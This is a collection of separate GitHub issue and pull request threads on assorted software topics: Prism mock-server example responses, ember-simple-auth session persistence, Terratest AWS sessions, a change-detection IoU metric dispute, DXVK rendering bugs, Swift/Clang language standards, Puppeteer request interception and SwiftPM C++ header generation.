Return preferred example when validation fails

If request validation fails and exampleKey is provided, return an example for the specified key. If exampleKey is not specified return the first example as we did before.
Example:
openapi: "3.0.2"
....
paths:
  /api/users/register:
    post:
      summary: "Register New User"
      description: "Register a new user"
      operationId: "registerNewUser"
      tags: ["Users"]
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: "object"
              properties:
                username:
                  type: "string"
                  minLength: 2
                  maxLength: 5
                  example: "John"
                email:
                  type: "string"
                  minLength: 4
                  maxLength: 100
                  example<EMAIL_ADDRESS>                password:
                  type: "string"
                  minLength: 8
                  maxLength: 50
                  example: "abc123456"
              required:
                - username
                - email
                - password
      responses:
        "201":
          description: Successful registration of a new user
        "422":
          description: Failed to register new user
          content:
            application/json:
              schema:
                type: "object"
                properties:
                  code:
                    type: "string"
                    description: "Internal error code received"
                  message:
                    type: "string"
                    description: "The error string version of the internal error"
              examples:
                usernameIsTooShort:
                  value:
                    message: "The username is too short"
                usernameIsTooLong:
                  value:
                    message: "The username is too long"
                usernameIsEmpty:
                  value:
                    message: "A username MUST be provided"

# prefer header is not defined, return first example
curl --location --request POST 'http://<IP_ADDRESS>:4010/api/users/register' \
--header "Content-Type: application/json" \
--data '{"username":"xyzer","password":"xy", "email"<EMAIL_ADDRESS>{"message":"The username is too short"}%

# prefer header is defined
curl --location --request POST 'http://<IP_ADDRESS>:4010/api/users/register' \
--header "Content-Type: application/json" \
--header 'Prefer: example=usernameIsEmpty' \
--data '{"username":"xyz","password":"xyz", "email"<EMAIL_ADDRESS>{"message":"A username MUST be provided"}%

# prefer header is specified but validation passes - return an empty response since contest schema is not defined for the code 201
curl --location --request POST 'http://<IP_ADDRESS>:4010/api/users/register' \
--header 'Prefer: example=usernameIsEmpty' \
--header "Content-Type: application/json" \
--data '{"username":"xyz","password":"xyz123456", "email"<EMAIL_ADDRESS>

@pytlesk4 actually that's a good catch. I checked how it works for code 2xx and undefined example. We return
{"type":"https://stoplight.io/prism/errors#NOT_FOUND","title":"The server cannot find the requested content","status":404,"detail":"Response for contentType: application/json and exampleKey: undefined does not exist."}

So probably it worth to make this behaviour to work in the same way.

Ok, after Tom's comment I did it compatible with the case when validation pass
# validation passed
[1:03:33 PM] ›     [NEGOTIATOR] ℹ  info      Request contains an accept header: */*
[1:03:33 PM] ›     [VALIDATOR] ✔  success   The request passed the validation rules. Looking for the best response
[1:03:33 PM] ›     [NEGOTIATOR] ✔  success   Found a compatible content for */*
[1:03:33 PM] › [HTTP SERVER] post /api/users/register ✖  error     Request terminated with error: https://stoplight.io/prism/errors#NOT_FOUND: The server cannot find the requested content

➜  prism git:(fix/422-always-first-example) curl --location --request POST 'http://<IP_ADDRESS>:4010/api/users/register' \
--header "Content-Type: application/json" \
--header 'Prefer: example=missingkey' \
--data '{"username":"zxcc","password":"xyz123123", "email"<EMAIL_ADDRESS>{"type":"https://stoplight.io/prism/errors#NOT_FOUND","title":"The server cannot find the requested content","status":404,"detail":"Response for contentType: application/json and exampleKey: missingkey does not exist."}%

# validation fails
[1:03:51 PM] › [HTTP SERVER] post /api/users/register ℹ  info      Request received
[1:03:52 PM] ›     [NEGOTIATOR] ℹ  info      Request contains an accept header: */*
[1:03:52 PM] ›     [VALIDATOR] ⚠  warning   Request did not pass the validation rules
[1:03:52 PM] ›     [NEGOTIATOR] ✔  success   Found response 422. I'll try with it.
[1:03:52 PM] ›     [NEGOTIATOR] ✔  success   The response 422 has an example. I'll keep going with this one
[1:03:52 PM] › [HTTP SERVER] post /api/users/register ✖  error     Request terminated with error: https://stoplight.io/prism/errors#NOT_FOUND: The server cannot find the requested content

➜  prism git:(fix/422-always-first-example) curl --location --request POST 'http://<IP_ADDRESS>:4010/api/users/register' \
--header "Content-Type: application/json" \
--header 'Prefer: example=missingkey' \
--data '{"username":"","password":"xyz123123", "email"<EMAIL_ADDRESS>{"type":"https://stoplight.io/prism/errors#NOT_FOUND","title":"The server cannot find the requested content","status":404,"detail":"Response for contentType: application/json and exampleKey: missingkey does not exist."}%


Folder list is repopulated on each navigation

Consider changing it so that the list is saved outside of the main window, and current path is remembered

Fixed in e720d0c826c73f5fd9305c8c65e36faf58d98a89 and 09a465e259c7c5f80b7100f8388458027ce72330


Fix issue where store is emptied on page refresh

Related #990 #1090.
Early in the initialization of this object, setUnknownProperty gets called with __OWNER__ and __NAME_KEY__ (system properties?). This happens before this.content is present. The side effect is that null is persisted, which trashes the data within our store. This fix checks to make sure this.content exists before persisting.
Related discussion #990, #1090

How can the case that this fixes ever happen? The content property is set in the init method and thus should never be empty. Can you add some more info on the exact scenario and add a test case?

@marcoow my first guess is that the __OWNER__ and __NAME_KEY__ properties are set when you call this._super(...arguments);
My setup is pretty basic. Latest ember-cli and ember.

@marcoow I created a bare bones app that demonstrates the login issue. https://github.com/jamiechong/simple-auth-bug
To reproduce:

ember serve
go to localhost:4200
login with anything (see the authenticator - it returns true always)
refresh

You can see this single commit for the changes I made to the stock ember app.

This is a bug with Ember 2.13 actually. It can be fixed by downgrading to 2.12:
diff --git i/package.json w/package.json
index d71ab1b..2c7acc2 100644
--- i/package.json
+++ w/package.json
@@ -17,7 +17,7 @@
   "devDependencies": {
     "broccoli-asset-rev": "^2.4.5",
     "ember-ajax": "^2.4.1",
-    "ember-cli": "2.13.0-beta.1",
+    "ember-cli": "2.12",
     "ember-cli-app-version": "^2.0.0",
     "ember-cli-babel": "^6.0.0-beta.3",
     "ember-cli-dependency-checker": "^1.3.0",
@@ -29,12 +29,12 @@
     "ember-cli-shims": "^1.0.2",
     "ember-cli-sri": "^2.1.0",
     "ember-cli-uglify": "^1.2.0",
-    "ember-data": "^2.13.0-beta.1",
+    "ember-data": "^2.12",
     "ember-export-application-global": "^1.0.5",
     "ember-load-initializers": "^0.6.0",
     "ember-resolver": "^3.0.0",
     "ember-simple-auth": "^1.2.0",
-    "ember-source": "~2.13.0-beta.1",
+    "ember-source": "~2.12",
     "ember-welcome-page": "^2.0.2",
     "loader.js": "^4.2.3"
   },

That doesn't mean we don't need to fix it of course ;) First of all we'd need a failing test case that reproduces the scenario though…

#990 isn't actually related as this only occurs with Ember >= 2.13.

@jamiechong: I changed it so that it doesn't persist private keys in the store which is what we want I think.


AWS client using AWS_PROFILE

I am trying to select an AWS profile while calling NewEc2Client
os.Setenv("AWS_PROFILE", "some-profile")
ec2Client := taws.NewEc2Client(t, region)

The only way I see is to set the env var but is there a way to use it implicitly in the code so I can do parallel tests?

For this use case, we recommend going directly with the AWS SDK. We don't expose all the configurations in terratest to avoid having a bloated API and only support the ones that are most common. Getting a new session for the SDK from a profile directly is relatively simple to do so we don't see a need to wrap it. You can get this with the following code:
sess, err := session.NewSessionWithOptions(session.Options{
	  Profile: "some-profile",
})
require.NoError(t, err)
ec2Client := ec2.New(sess)

Got it thanks!


Hide path options if paths are set to be hidden

Check whether there's something that would prevent doing this with showWhen.
Yes. Hiding the fields breaks the editor - check why ...

https://github.com/otacke/h5p-game-map/commit/7f69645cf08ffe5c4ca7db1c83c89d67bfaeed39

Changed not using showWhen but custom editor hiding in https://github.com/otacke/h5p-editor-game-map/commit/fc212863957aec883799f2123e64c31a6db92857


need horizontal scroll for daily report

I feel like I used to have this, and it went away.
I'm also not sure how to UI-test it.

For instance:

This shows a long project, task, and notes. In all three cases, they get cut truncated. The full long text is:

The quick brown fox jumped over the lazy dog. That dog is so lazy! Lolol. I love him though.

Cool, I got it to:


Contested taxonomy groups should not necessarily show up as rare/unique

The sample 000004972 has:
k__Bacteria;  p__Bacteroidetes;  c__Bacteroidia;  o__Bacteroidales;  f__[Paraprevotellaceae];  g__[Prevotella];  s__
Showing up as rare, which is misleading.

@wasade can this be closed?

I don't believe any code was put in place to address this. Does that sample still show a contested taxon?

That contested taxon does not appear on that participant's current pdf...

kk, lets close
On Wed, Aug 17, 2016 at 1:13 PM, Embriette Hyde<EMAIL_ADDRESS>wrote:

That contested taxon does not appear on that participant's current pdf...
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/biocore/American-Gut/issues/51#issuecomment-240533144,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAc8so8Qxaq4mfeujw-mjrJi5KRPUhGOks5qg2t9gaJpZM4BWIpK
.


ci: add scripts for sync-up the GH page of docarray

Signed-off-by: Nan Wang<EMAIL_ADDRESS>Goals:

add a script to sync up the README.md with https://github.com/docarray/docarray.github.io so that we don't need to spend extra time building a website for docarray as an organization.
[x] check and update documentation, if required. See guide

Codecov Report
Base: 79.33% // Head: 65.98% // Decreases project coverage by -13.35% :warning:

Coverage data is based on head (7798f73) compared to base (eeaba13).
 Consider uploading reports for the commit a78a8b3 to get more accurate results

Additional details and impacted files
@@             Coverage Diff             @@
##             main     #855       +/-   ##
===========================================
- Coverage   79.33%   65.98%   -13.36%
===========================================
  Files         138      138
  Lines        7046     7046
===========================================
- Hits         5590     4649      -941
- Misses       1456     2397      +941

Flag
Coverage Δ

docarray
65.98% <ø> (-13.36%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

docarray/array/mixins/dataloader/helper.py
0.00% <0.00%> (-100.00%)
:arrow_down:

docarray/array/mixins/embed.py
9.89% <0.00%> (-82.42%)
:arrow_down:

docarray/array/mixins/evaluation.py
9.09% <0.00%> (-79.03%)
:arrow_down:

docarray/array/mixins/post.py
17.07% <0.00%> (-78.05%)
:arrow_down:

docarray/array/mixins/delitem.py
11.11% <0.00%> (-75.56%)
:arrow_down:

docarray/array/storage/redis/getsetdel.py
31.42% <0.00%> (-64.29%)
:arrow_down:

docarray/array/storage/elastic/getsetdel.py
39.68% <0.00%> (-58.74%)
:arrow_down:

docarray/array/storage/milvus/getsetdel.py
44.11% <0.00%> (-52.95%)
:arrow_down:

docarray/array/storage/memory/find.py
42.59% <0.00%> (-51.86%)
:arrow_down:

docarray/array/storage/base/getsetdel.py
39.04% <0.00%> (-50.00%)
:arrow_down:

... and 61 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


[DOCFIX] Remove one of the empty lines at the end of Ozone doc

Two consecutive empty lines at the end of the Ozone doc, remove one of them

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-PR-Builder/10912/
Test PASSed.

alluxio-bot, merge this please


[gfx90a] Enable fused asm kernels

This PR adds gfx90a to the list of supported archs.
This allows asm kernels to be used with Fusion API.
Local verification

gfx90a, rocm 4.3.1

@Slimakanzer What do you think about tests? Does this PR add performance only or functionality as well (in other words, does it extend coverage of fusions on gfx90a)?

@atamazov Yes, this PR also changes Fusion API functionality for gfx90a.
Asm kernels cover some cases that are not covered by OCL kernels.
For example, Fused ocl kernel (Conv-Bias, Conv-Bias-Activation, Conv-Activation fusion mode)
has the following restrictions:
https://github.com/ROCmSoftwarePlatform/MIOpen/blob/1c03b54ee3f21d6ef9375472e32287ac84896d85/src/md_graph.cpp#L877-L900

@atamazov Thank you!
Fused asm kernels are disabled for xnack+. Fixed in 6c0bd3e

@Slimakanzer

Asm kernels cover some cases that are not covered by OCL kernels.

Can we add some tests (or test cases) to cover these fused configs?
This work would involve extending GPU detection in test/CMakeLists.txt to detect "xnack+" (and allow for manual override as usual).
It is still questionable to me how to implement the functional test.

Implement special option in test_mdgraph + add the option its command line in test/CMakeLists.txt when xnack+ is NOT detected.
Or, create a custom test in test/CMakeLists.txt and enable that test if xnack+ is NOT detected.

What is your opinion?

@atamazov
The first option looks better, let me try it.


Tableau pass through auth

when I click on a report (comparative ....)   I do not see any viz and none of the buttons do anything.
am I supposed to be able to see the report viz at this point?   perhaps I do not have the right perms on dev????

Reopened after users hated my solution. Working with IAM to get this settled once and for all.


Async::REST::Error: Unknown content type: application/octet-stream! on reading from KV

I have the following example code:
Cloudflare.connect(key: CLOUDFLARE_KEY, email: CLOUDFLARE_EMAIL) do |connection|
  puts "we have a connection: #{connection}"
  account = connection.accounts.to_a[0]
  puts "account is: #{account}"

  namespaces = account.kv_namespaces
  puts "namespaces are: #{namespaces}"

  namespace = namespaces.find_by_id(NAMESPACE_ID)
  puts "namespace is: #{namespace}"

  namespace.write_value('my-test', 'asd')
  puts "value is: #{namespace.read_value('my-test')}"

end

Running it in rails c gives the following:
we have a connection: #<Cloudflare::Connection:0x00005640ad3743c8>
account is: #<Cloudflare::Account:0x00005640a81dab70>
namespaces are: #<Cloudflare::KV::Namespaces:0x00005640a72ad6c0>
namespace is: #<Cloudflare::KV::Namespace:0x00005640a604f7d0>
    error: Async::Task [oid=0x624d0] [pid=242] [2020-07-31 10:16:12 +0000]
               |   Async::REST::Error: Unknown content type: application/octet-stream!
               |   → /srv/vendor/bundle/ruby/2.7.0/gems/async-rest-0.10.1/lib/async/rest/wrapper/json.rb:75 in `process_response'
               |     /srv/vendor/bundle/ruby/2.7.0/gems/async-rest-0.10.1/lib/async/rest/representation.rb:67 in `process_response'
               |     /srv/vendor/bundle/ruby/2.7.0/gems/cloudflare-4.2.0/lib/cloudflare/representation.rb:82 in `process_response'
               |     /srv/vendor/bundle/ruby/2.7.0/gems/async-rest-0.10.1/lib/async/rest/representation.rb:80 in `block (2 levels) in <class
               |     /srv/vendor/bundle/ruby/2.7.0/gems/async-rest-0.10.1/lib/async/rest/representation.rb:92 in `value!'
               |     /srv/vendor/bundle/ruby/2.7.0/gems/async-rest-0.10.1/lib/async/rest/representation.rb:107 in `value'
               |     /srv/vendor/bundle/ruby/2.7.0/gems/cloudflare-4.2.0/lib/cloudflare/kv/namespaces.rb:39 in `read_value'
               |     (irb):256 in `block in irb_binding'
               |     /srv/vendor/bundle/ruby/2.7.0/gems/cloudflare-4.2.0/lib/cloudflare.rb:41 in `block in connect'
               |     /srv/vendor/bundle/ruby/2.7.0/gems/async-1.26.1/lib/async/task.rb:258 in `block in make_fiber'

It probably means that Cloudflare have changed their API and something is broken and returning a non-JSON error message.

You could try printing it out in lib/cloudflare/representation.rb:82 in process_response'`

@ioquatix I don't think so, because using Postman (or plain old curl) returns successful results but the headers of the response still return as application/octet-stream;
HTTP/1.1 200 OK
Date: Fri, 31 Jul 2020 12:35:27 GMT
Content-Type: application/octet-stream
Content-Length: 22
Connection: keep-alive
CF-Ray: REDACTED
Accept-Ranges: bytes
Cache-Control: no-store, no-cache, must-revalidate
CF-Cache-Status: DYNAMIC
cf-request-id: REDACTED
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-envoy-upstream-service-time: 209
Server: cloudflare

What is the content of the response, is it JSON?

in this specific case it's the string asd (as you can see in the example code in the issue description), but it's the same results if it's a json string.

Ah I see so we should really allow a non-json response from this endpoint.


Questions about the calculation of evaluation indices，the paper might contain a critical error.

In the table above, is the IoU of the foreground （building）change class?
But in your code, IoU is calculated like this

It doesn't seem to be the IoU of the foreground change class (building),  Here it should be minus self.confusion_matrix[1, 1]) instead of adding self.confusion_matrix[1, 1]). This might be a serious problem.。

Please review the definition of IoU. It is [IoU = TP / (TP + FP + FN)].
I don't understand what do you mean about > This is a serious error, please provide a solution?

About the calculation of mIoU, it is also write. You can review the definition of mIoU and calculate it yourself manually, in comparison with using our code.

About the calculation of mIoU, it is also right. You can review the definition of mIoU and calculate it yourself manually, in comparison with using our code.

The calculation method of mIoU is correct
What I mean is that when calculating IoU, it should be subtraction instead of addition here.

Thank you for your question. Please review the definition of IoU. It is [IoU = TP / (TP + FP + FN)].
I don't understand what do you mean about > This is a serious error, please provide a solution?
The formula is correct, but there is a problem with the code.
What I mean is that when calculating IoU, it should be subtraction instead of addition here.

About the calculation of mIoU, it is also right. You can review the definition of mIoU and calculate it yourself manually, in comparison with using our code.
self.confusion_matrix[1, 1])

Thank you for your response.
miou 和 iou 的计算方式是类似的，都是通过混淆矩阵计算得到的，不同的是miou 是累加的。因此代码在计算IOU时应该时减去self.confusion_matrix[1, 1])而不是加self.confusion_matrix[1, 1])
IoU should be calculated as follows:

I think you didn't figure out the concept of IoU here. When calcualting IoU for binary change detection, the num_class is 2. The size of confusion matrix is 2x2, where self.confusion_matrix[1,1] is TP, the remaning two terms are FP and FN. Therefore, according to the definition of IoU=TP / (TP + FN + FP), the code should be self.confusion_matrix[1,1] / (self.confusion_matrix[1,0] + self.confusion_matrix[1,0] + self.confusion_matrix[1,1]). The accumulation does not exist here.
BTW, I think the more appropriate way about raising issue is that you should try to calculate them yourself and then use the wording like [ciritial error].

I think you didn't figure out the concept of IoU here. When calcualting IoU for binary change detection, the num_class is 2. The size of confusion matrix is 2x2, where self.confusion_matrix[1,1] is TP, the remaning two terms are FP and FN. Therefore, according to the definition of IoU=TP / (TP + FN + FP), the code should be self.confusion_matrix[1,1] / (self.confusion_matrix[1,0] + self.confusion_matrix[1,0] + self.confusion_matrix[1,1]). The accumulation does not exist here.
BTW, I think the more appropriate way about raising issue is that you should try to calculate them yourself and then use the wording like [ciritial error].

Thank you for your response.

So you mean that when calculating mIoU, addition should also be used, but the code here uses subtraction. How can this be explained?

I think you didn't figure out the concept of IoU here. When calcualting IoU for binary change detection, the num_class is 2. The size of confusion matrix is 2x2, where self.confusion_matrix[1,1] is TP, the remaning two terms are FP and FN. Therefore, according to the definition of IoU=TP / (TP + FN + FP), the code should be self.confusion_matrix[1,1] / (self.confusion_matrix[1,0] + self.confusion_matrix[1,0] + self.confusion_matrix[1,1]). The accumulation does not exist here.
BTW, I think the more appropriate way about raising issue is that you should try to calculate them yourself and then use the wording like

Thank you for your response.
yes , you are right.
FP = np.sum(self.confusion_matrix, axis=0) - TP
FN = np.sum(self.confusion_matrix, axis=1) - TP
so , When calculating mIoU, it should be +TP.
Thank you for your patient explanations. Your work has been very inspiring to me. Thanks again for your efforts.

For mIoU, when summing over rows and columns to get the total predicted and actual areas for each class, True Positive gets counted twice (once in the row sum and once in the column sum). Therefore, we subtract True Positive once to correct this over-count. Please note that the code for calculating mIoU and IoU based on the confusion matrix is not exactly the same. You may try using the calculation methods from official libraries or your own methods to verify consistency with our evaluation code.

For mIoU, when summing over rows and columns to get the total predicted and actual areas for each class, True Positive gets counted twice (once in the row sum and once in the column sum). Therefore, we subtract True Positive once to correct this over-count. Please note that the code for calculating mIoU and IoU based on the confusion matrix is not exactly the same. You may try using the calculation methods from official libraries or your own methods to verify consistency with our evaluation code.

It's like this, you are too kind, thank you very much!

It's glad to hear that your question has been solved! Thank you again for your interest to our work :)


burp-suite-pro-np: Add autoupdate hash extraction

[x] I have read the Contributing Guide.

/verify


categories & domains for task300-321

@swarooprm this PR should be ready to merge now

A lot of the tasks' domains are "Captions -> Image Captions" but it seems to be unrelated to their domain. Or there's something here I don't understand.

A lot of the tasks' domains are "Captions -> Image Captions" but it seems to be unrelated to their domain. Or there's something here I don't understand.

What do you mean? Note that in this PR I am merely replacing "Commonsense -> Captions -> Image Captions" with "Captions -> Image Captions" in response to discussion #458

@swarooprm I don't have write access so you need to merge it


Updated Azure ADFS Github reference

[Enter feedback here]
Hello
Is there a newer GitHub repo for deploying ADFS to Azure?  The one in this page hasn't been updated in over 5 years.  Wanted to ask for a customer who is deploying it with Server 2019 and ARM templates and newer VMs.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 2ac8cd29-26cd-47da-5b3e-d58ba7c4a20c
Version Independent ID: ae9587c8-0822-f5af-98ef-5386c4f17e58
Content: Active Directory Federation Services in Azure
Content Source: WindowsServerDocs/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs.md
Product: windows-server
Technology: ad-fs
GitHub Login: @billmath
Microsoft Alias: billmath

The following users don't have valid GitHub IDs, or are not collaborators on this repo: ingridatmicrosoft
gh issue comment 5294 -b ingridatmicrosoft

#assign:IngridAtMicrosoft

@artro03 Thank you for your input. We apologize for the delay in our response. I am sure you have found the Azure AD FS documentation by now.  This document was last updated in 2023.
https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs


infernal show in black various objects

infernal show in black various objects

PC Demo
https://www.gamepressure.com/download.asp?ID=14438
Nvidia Drivers 418.52.18 (run package)
Xubuntu 18.04 x64 - Kernel 4.17.12 generic (ubuntu mainline) -
CPUFreq: Performance
CPU: Core i3 8350K Tri-Core (Coffelake 14nm) 5.0Ghz + Zalman CNPS 10x Performa+
MEMORY: 8GB DDR4 2400mhz (4x2) Mushkin (dual channel: 37.5 gb/s)
GPU: Gigabyte Nvidia Geforce GTX 1050 OC (GP107 14nm: 640 Shaders / 40 TMUS / 32 ROPS) Windforce 2GB DDR5 7000Mhz 128Bit (110Gb/s)
MAINBOARD: ASUS Z370-P

infernal trace
https://mega.nz/#!6V0nyQBY!Nix4naeBR4TduU97cFBJYBee7Lna_h8VpwRoqM3vZYE

Did you get a d3d9 log when you ran the program?

Can you try d3d9.allowLockFlagReadonly = False

issue still present

Here's a debug log for the demo version of this game. That black textures are also appear in the demo with the latest master. Unimplemented features?
game_d3d9.log

The apitrace is not available anymore.
I installed the demo but it crashes on launch (not related to DXVK I think), maybe there is a solution with winetricks but I didn't find it.
@mrdeathjr28 can you retest?

i remove various traces because dont have any activity
@NerosTie
wait a sec......

issue fixed

thanks josh


Fix #283 (Swift 2.3)

I have checked, there is no issues yet in my dev environment. I will deploy it in several days in test/production environment, so I can confirm that fix is working in a week, after that I can PR to Swift 3 branch.

Fix #283
Bump version to 1.14.1

Hi @Sorix!
I was able to reproduce your bug here https://github.com/hyperoslo/Sync/pull/291
Sadly the suggested fix doesn't fix the issue. Thanks for looking into this!

Fixed here :) https://github.com/hyperoslo/Sync/pull/291


[ClangImporter] Use clang getDefaultLanguageStandard

This moves the logic for selecting the default language standard into Clang, instead of duplicating it.
This is intended to make the reliance on CLANG_DEFAULT_STD_C(XX) less fragile, since clang-side refactors caused problems there.
This currently preserves the same standard versions without this change if either of:

CLANG_DEFAULT_STD_C(XX) is set
ObjC interop is enabled

Questions for reviewers:

Do we consider it good to have this completely tied to clang? It ensures we'll always be in synch, but it also means that by default we get updated possibly without knowing.
Is it fine that this bumps the default standards when Objective-C interop is disabled?
Is it fine that in general, this lets the C vs Objective-C and C++ vs Objective-C++ standard diverge.

Future question, I guess: Should it be possible to explicitly specify the clang importer standard version in some way?

Will add a second commit here that picks the language based on whether Objective-C and C++ interop are available.

Switched to selecting the language based on which interop features are enabled.
Note that this doesn't disable the GNU extensions, getDefaultLanguageStandard currently returns gnu17 for C, gnu11 for ObjC, gnucxx17 for C++, and gnucxx14 for ObjC++.
See the relevant Clang code here: https://github.com/apple/llvm-project/blob/next/clang/lib/Basic/LangStandards.cpp#L60-L81
I don't have much of an opinion on what extensions should be enabled, and I'm not sure who'd be the best person to ask.
With this change specifically I'd like to try to minimize the differences it's introducing.
It does change the behavior on platforms without Objective-C interop, since Clang has moved to newer standards for those than we had specified in Swift.
This means the standard revisions used by Swift diverge depending on whether Objective-C interop is enabled, which might not be desirable—but it is the behavior that Clang demonstrates when you're building C vs Objective-C, and C++ vs Objective-C++.

Updated the issue description to have a more relevant set of questions after the second commit.

This LGTM, thank you!

@swift-ci please test

@compnerd what do you think after the change to make it pick the language based on the enabled interop features? Any concerns about upgrading the default standard on Linux and Windows?

@swift-ci please test

@swift-ci please test


anyjson: move to own directory

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option build-use-sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg build python2Packages.anyjson

Success on aarch64-linux (full log)
Partial log (click to expand)
test_implementations.test_forced_serialization ... ok
test_implementations.test_forced_deserialization ... ok
test_implementations.test_exceptions ... ok
test_implementations.test_json_loads_unicode ... ok

----------------------------------------------------------------------
Ran 6 tests in 0.043s

OK
/nix/store/c6xv92283rmc6ahafhidxbz3p12qmyfx-python2.7-anyjson-0.3.3

Success on x86_64-darwin (full log)
Partial log (click to expand)
test_implementations.test_forced_serialization ... ok
test_implementations.test_forced_deserialization ... ok
test_implementations.test_exceptions ... ok
test_implementations.test_json_loads_unicode ... ok

----------------------------------------------------------------------
Ran 6 tests in 0.012s

OK
/nix/store/f2gy8r1kxx399c5hx7lfp8ydv9mh35j1-python2.7-anyjson-0.3.3

Success on x86_64-linux (full log)
Partial log (click to expand)
test_implementations.test_forced_serialization ... ok
test_implementations.test_forced_deserialization ... ok
test_implementations.test_exceptions ... ok
test_implementations.test_json_loads_unicode ... ok

----------------------------------------------------------------------
Ran 6 tests in 0.010s

OK
/nix/store/r4d49lja25rmackmi1xklxhhbp4iks6d-python2.7-anyjson-0.3.3


tear down of request listeners after page.close

Env
Puppeteer: 0.10.2
Node: v7.10.1
OS: macOS
Problem
I want to avoid this error: Protocol error (Network.continueInterceptedRequest): Target closed.
// only the relevant code
function handleInterceptedRequests (interceptedRequest) {
  // if this function is called _after_ page.close (and this happens),
  // continue below will throw, and in a way that cannot be caught here with a try/catch
  interceptedRequest.continue()
}

await page.setRequestInterceptionEnabled(true)
page.on('request', handleInterceptedRequests)

// page.close might be called BEFORE goto resolves.
// I am aware there is a timeout you can pass to the goto method;
// it does not solve my use case
setTimeout(page.close, someTimeoutValue)

await page.goto(someUrl)

Suggestions
some ideas:

Either make sure no events are sent to request listeners  after page.close (easiest for the consumer)
or
make it possible to manually remove the listener
page.removeListener('request', handleInterceptedRequests) did not work - should it?
or
make it possible to catch errors thrown by interceptedRequest abort/continue after page.close

try {
  interceptedRequest.continue()
} catch (e) {
 // does not happen currently.
}

page.goto(someUrl) and page.close() return Promise. To avoid errors they must be preceded with await
// only the relevant code
await page.setRequestInterceptionEnabled(true)
page.on('request', handleInterceptedRequests)

await page.goto(someUrl)
// BEFORE page has finished loading
await page.close()

function handleInterceptedRequests (interceptedRequest) {
  // if this function is called _after_ page.close (and this happens),
  // continue below will throw, and in a way that cannot be caught here with a try/catch
  interceptedRequest.continue()
}

@ivibe I know, I just skipped it to make example clearer. Your "solution" does not address the problem this issue is about.
my actual use case is that my whole puppeteer execution is in a timeout, more like:
(still simplified - but the point is that page.close might happen before page.goto has resolved)
setTimeout(page.close, someTimeoutValue)
await page.goto(someUrl)

This should be fixed with 0bea42bd8c4002ed28d100d9ccc06c6ac03a9b70

Hmm will test when I have a moment, doesn't look like an obvious fix for this problem to me, but you know the codebase. :)


add api to fetch list of versioned resource types

@xtremerui Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.

@xtremerui Thank you for signing the Contributor License Agreement!


fix gradle4.4 complier problem

I updated gradle to 4.4 and fixed complier problem #748

@guchan-fout gradle 4.7 is out and you can use that in here.  I would very much like to see this repos dependecies updated so 👍

Thank you for contributing. #759 was recently merged with updates to gradle. If you believe there's some thing that PR missed, feel free to to submit another PR.


Port tests to zio-test

The current suites written in testz should be ported to zio-test.

Took this task, going to submit PR this week

Awesome! Be sure to ping us on #zio-metrics on ZIO's discord if you have any questions or comments (https://discord.gg/2ccFBr4)

Closed by #89


Windows SwiftPM with .interoperabilityMode(.Cxx) - C++ Header not generated

Description
Very basic Swift library build with  .interoperabilityMode(.Cxx)
Build success on macOS and C++ header generated.
Build success on Windows but C++ header not generated.
Expected behavior
C++ header generated.
Actual behavior
C++ header not generated.
Steps to reproduce
// swift-tools-version: 5.11
// The swift-tools-version declares the minimum version of Swift required to build this package.

import PackageDescription

let package = Package(
    name: "TestCxxToSwift",
    products: [
        // Products define the executables and libraries a package produces, making them visible to other packages.
        .library(
            name: "TestCxxToSwift",
            type: .dynamic,
            targets: ["TestCxxToSwift"]),
    ],
    targets: [
        // Targets are the basic building blocks of a package, defining a module or a test suite.
        // Targets can depend on other targets in this package and products from dependencies.
        .target(
            name: "TestCxxToSwift",
            swiftSettings: [.interoperabilityMode(.Cxx)]
        ),
        .testTarget(
            name: "TestCxxToSwiftTests",
            dependencies: ["TestCxxToSwift"],
            swiftSettings: [.interoperabilityMode(.Cxx)]
        )
    ]
)

// TestCxxToSwift.swift

import Foundation

public func foo() -> [MyObject] {
    let objects: [MyObject] = []
    return objects
}

public class MyObject {

    var i: Int

    public init(i: Int) {
        self.i = i
    }
}

public class MyModule {
    public init() { }

    public func getArray() -> [MyObject] {
        let objects: [MyObject] = []
        return objects
    }
}

C:\Users\admin\Documents\atwork\SwiftProjects\TestCxxToSwift>swift build
Building for debugging...
[8/8] Linking C:\Users\admin\Documents\atwork\SwiftProjects\TestCxxToSwift\.build\x86_64-unknown-windows-msvc\debug\T…
Build complete! (34.67s)

Swift Package Manager version/commit hash
Building on Windows using DEVELOPMENT-SNAPSHOT-2024-01-30.
Swift & OS version (output of swift --version ; uname -a)
C:\Users\admin\Documents\atwork\SwiftProjects\TestCxxToSwift>swift --version
Swift version 5.11-dev (LLVM 0c7051c13ba8526, Swift 192d275b78109ff)
Target: x86_64-unknown-windows-msvc

Correct, the compatibility header is only generated on Darwin platforms, see https://github.com/apple/swift-package-manager/blob/main/Sources/Build/BuildDescription/SwiftTargetBuildDescription.swift#L693

Note that the code that limits this to Darwin has moved to https://github.com/swiftlang/swift-package-manager/blob/main/Sources/Build/BuildDescription/SwiftModuleBuildDescription.swift#L797-L800

